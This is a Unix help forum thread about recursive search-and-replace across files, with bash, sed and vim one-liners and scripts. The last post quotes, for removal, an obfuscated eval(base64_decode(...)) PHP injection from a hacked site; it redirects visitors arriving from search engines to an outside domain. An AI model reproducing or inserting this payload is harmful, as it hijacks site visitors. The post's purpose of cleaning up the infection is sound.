UNIX Help
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me

The Shed is going Social! Join us on FaceBook and Twitter and chime in on the conversation.

Go Back   Dev Shed ForumsOperating SystemsUNIX Help

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Rating: Thread Rating: 3 votes, 5.00 average. Display Modes
 
Unread Dev Shed Forums Sponsor:
  #16  
Old November 10th, 2010, 11:05 AM
swapnilverma swapnilverma is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Nov 2010
Posts: 1 swapnilverma User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 51 m 8 sec
Reputation Power: 0
I have comma separated file..

I need to remove comma between " " so that i can read each column easily with comma delimiter

Before

100,200,300,A,"34,00","64,000","0,23"

After

100,200,300,A,"3400","64000","023"

appreciate quick help

Reply With Quote
  #17  
Old September 16th, 2011, 02:54 AM
rael rael is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Sep 2011
Posts: 1 rael User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 26 m 10 sec
Reputation Power: 0
Also can be done using vim.

Code:
for file in $(grep -l "PATTERN" `find . -name "*.php"`); do vim "+%s:PATTERN:REPLACE:g" "+wq" $file; done;

Reply With Quote
  #18  
Old November 12th, 2011, 09:51 PM
stingerman stingerman is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Nov 2011
Posts: 1 stingerman User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 5 m 35 sec
Reputation Power: 0
Total newbie here.

I need to replace the following text line in php files only in the entire directory, meaning many folders etc.

/content/x/x/x/xxxxx/html/

with

/xxxxxx/public_html/

Which code would work best and is this done through ssh?

Reply With Quote
  #19  
Old January 12th, 2012, 10:34 PM
geilt geilt is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Jun 2011
Posts: 1 geilt User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 5 m 32 sec
Reputation Power: 0
Quote:
Originally Posted by gare
very cool script. Thanks for posting. I modified it a bit, and this seems to work pretty well:
Code:
# *****************************************************************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory - else this script will modify itself!
# *****************************************************************************************

!/bin/bash
# **************** Change Variables Here ************
startdirectory="/home/gare/tmp/tmp2"
searchterm="search"
replaceterm="replaceTerm"
# **********************************************************

echo "******************************************"
echo "* Search and Replace in Files Version .1 *"
echo "******************************************"

        for file in $(grep -l -R $searchterm $startdirectory)
          do
           sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
           mv /tmp/tempfile.tmp $file
           echo "Modified: " $file
        done

echo " *** Yay! All Done! *** "


This is an amazing script. Thanks so much for i. I spent over 2 hours looking for something to do exactly this. Going into my toolbox!! =)

Reply With Quote
  #20  
Old May 1st, 2012, 04:57 PM
tunaonline1 tunaonline1 is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: May 2012
Posts: 1 tunaonline1 User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 14 m 53 sec
Reputation Power: 0
Exclamation Perl uses a .cfg file which can't hold variables.

I have a shell script which executes one perl. The perl uses some variable which is again defined in a .cfg file. In that .cfg file I have a variable (LOG_FILE=$HOME/LOG). Since I can't use the $HOME inside the .cfg file which is used by perl, I have to each time change the .cfg file with value of $HOME, then in .cfg file I have LOG_FILE=/pkg/mt411c/LOG (as the value of $HOME=/pkg/mt411c). But everytime I copy this .cfg file to other environment I have to change the value of this LOG_FILE variable with the value of "$HOME" as it gets changed in dift env. But I want to make it generic so that I will not either change the value of $HOME inside the file or I want any other shell script which will change the value of these variables each time I put the .cfg file. (Note: I have several other variables in that .cfg file, this is just one example). Please help.

Reply With Quote
  #21  
Old May 2nd, 2012, 08:31 AM
SimonJM SimonJM is offline
Contributing User
Dev Shed Regular (2000 - 2499 posts)
 
Join Date: Mar 2006
Posts: 2,108 SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level)SimonJM User rank is General 8th Grade (Above 100000 Reputation Level) 
Time spent in forums: 1 Month 1 Week 1 Day 4 h 48 m 25 sec
Reputation Power: 1485
This really should have been a new thread ...
There must be a few ways to acheive this - can you not include the .cfg file in the perl, for example? Is theer now way of accessing the environment variables from within perl?
__________________
The moon on the one hand, the dawn on the other:
The moon is my sister, the dawn is my brother.
The moon on my left and the dawn on my right.
My brother, good morning: my sister, good night.
-- Hilaire Belloc

Reply With Quote
  #22  
Old June 24th, 2012, 01:41 PM
RobinInTexas RobinInTexas is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Mar 2010
Posts: 2 RobinInTexas User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 48 m 16 sec
Reputation Power: 0
Very cool script. Thanks to all for the prior posting.
I had to modify some more
I'm working with a customers dedicated server (unix/Plesk) with several of their domains, and needed to run the script across all the domains as root.
The problem was that the original script resulted in changing the owner:group of the changed files to root:root which effectively killed the webserver.

My changes seem to have fixed that, (not pretty, my instructor left out the part about writing neat, tight code ).
Code:
!/bin/bash
# *****************************************************************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory
# - else this script will modify itself!
# modified to restore file to original owner & group - must be run as superuser
# *****************************************************************************************
# **************** Change Variables Here ************
#startdirectory="/var/www/vhosts/yoursite.com/httpdocs/"     

#searchterm="what to look for"
#replaceterm="Replacement text"
#changes the whole world
startdirectory="/var/www/vhosts/" 
#just for one site
#startdirectory="/var/www/vhosts/yoursite.com/httpdocs/"    

searchterm="what to look for"
replaceterm="what to change it to"
# **********************************************************

echo "******************************************"
echo "* Search and Replace in Files Version .11 *"
echo "******************************************"

#                               -- include just change matching files 
                                                  
        for file in $(grep -l -R --include=*.php $searchterm $startdirectory) 
          do
          	    oown=$(stat -c %U $file)
		    join=':'
		    ogrp=$(stat -c %G $file)
		    spc=' '
		    nown=$oown$join$ogrp$spc
		    
		    omod=$(stat -c %a $file)
		 
            sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
            mv /tmp/tempfile.tmp $file
			chown $nown $file
			chmod $omod $file
			
          echo "Modified: " $file
        done

echo " *** Yay! All Done! *** "

Reply With Quote
  #23  
Old December 2nd, 2012, 12:04 PM
SodaJim SodaJim is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Dec 2012
Posts: 1 SodaJim User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 34 m 51 sec
Reputation Power: 0
Thumbs down Not functioning for me...

Hello,

New to the Forum!
In my search for answers, I found this thread and decided to revive it in the hopes of getting a little direction...

Below is the code I would like to run for searching through a web dir to remove all instances of malicious code within files(php) I recently fell victim to.
I called the script via shell: ./search-replaces.sh
Get: command not found
The file: search-replace.sh resides in the root dir of the Site and is set to 0744
Another little script I have begins with: #!/bin/sh which seems to execute properly...
Code:
#!/bin/bash
# *****************************************************************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory - else this script will modify itself!
# *****************************************************************************************

# **************** Change Variables Here ************
#startdirectory="/Full/Path/dir/to/yoursite.com/"    
startdirectory="/home/adorablepet/www/adorablepetmobilegrooming.com/" 
searchterm="	 	eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRf  U0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlm  ICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJl  ZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBv  ciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRy  ZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhc  LnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNl  Ym9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNo  ZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9kZW52ZXIuZHVtYjEu  Y29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));"
replaceterm=""
# **********************************************************

echo "*******************************************"
echo "* Search and Replace in Files Version 1.0 *"
echo "*******************************************"

        for file in $(grep -l -R $searchterm $startdirectory)
          do
           sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
           mv /tmp/tempfile.tmp $file
           echo "Modified: " $file
        done

echo " ***  Yay! All Done!  *** "

Any direction is greatly appreciated,
Jim

Reply With Quote
Reply

Viewing: Dev Shed ForumsOperating SystemsUNIX Help > Unix find and replace text within all files within a directory

Developer Shed Advertisers and Affiliates



Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 


Powered by: vBulletin Version 3.0.5
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.

© 2003-2013 by Developer Shed. All rights reserved. DS Cluster - Follow our Sitemap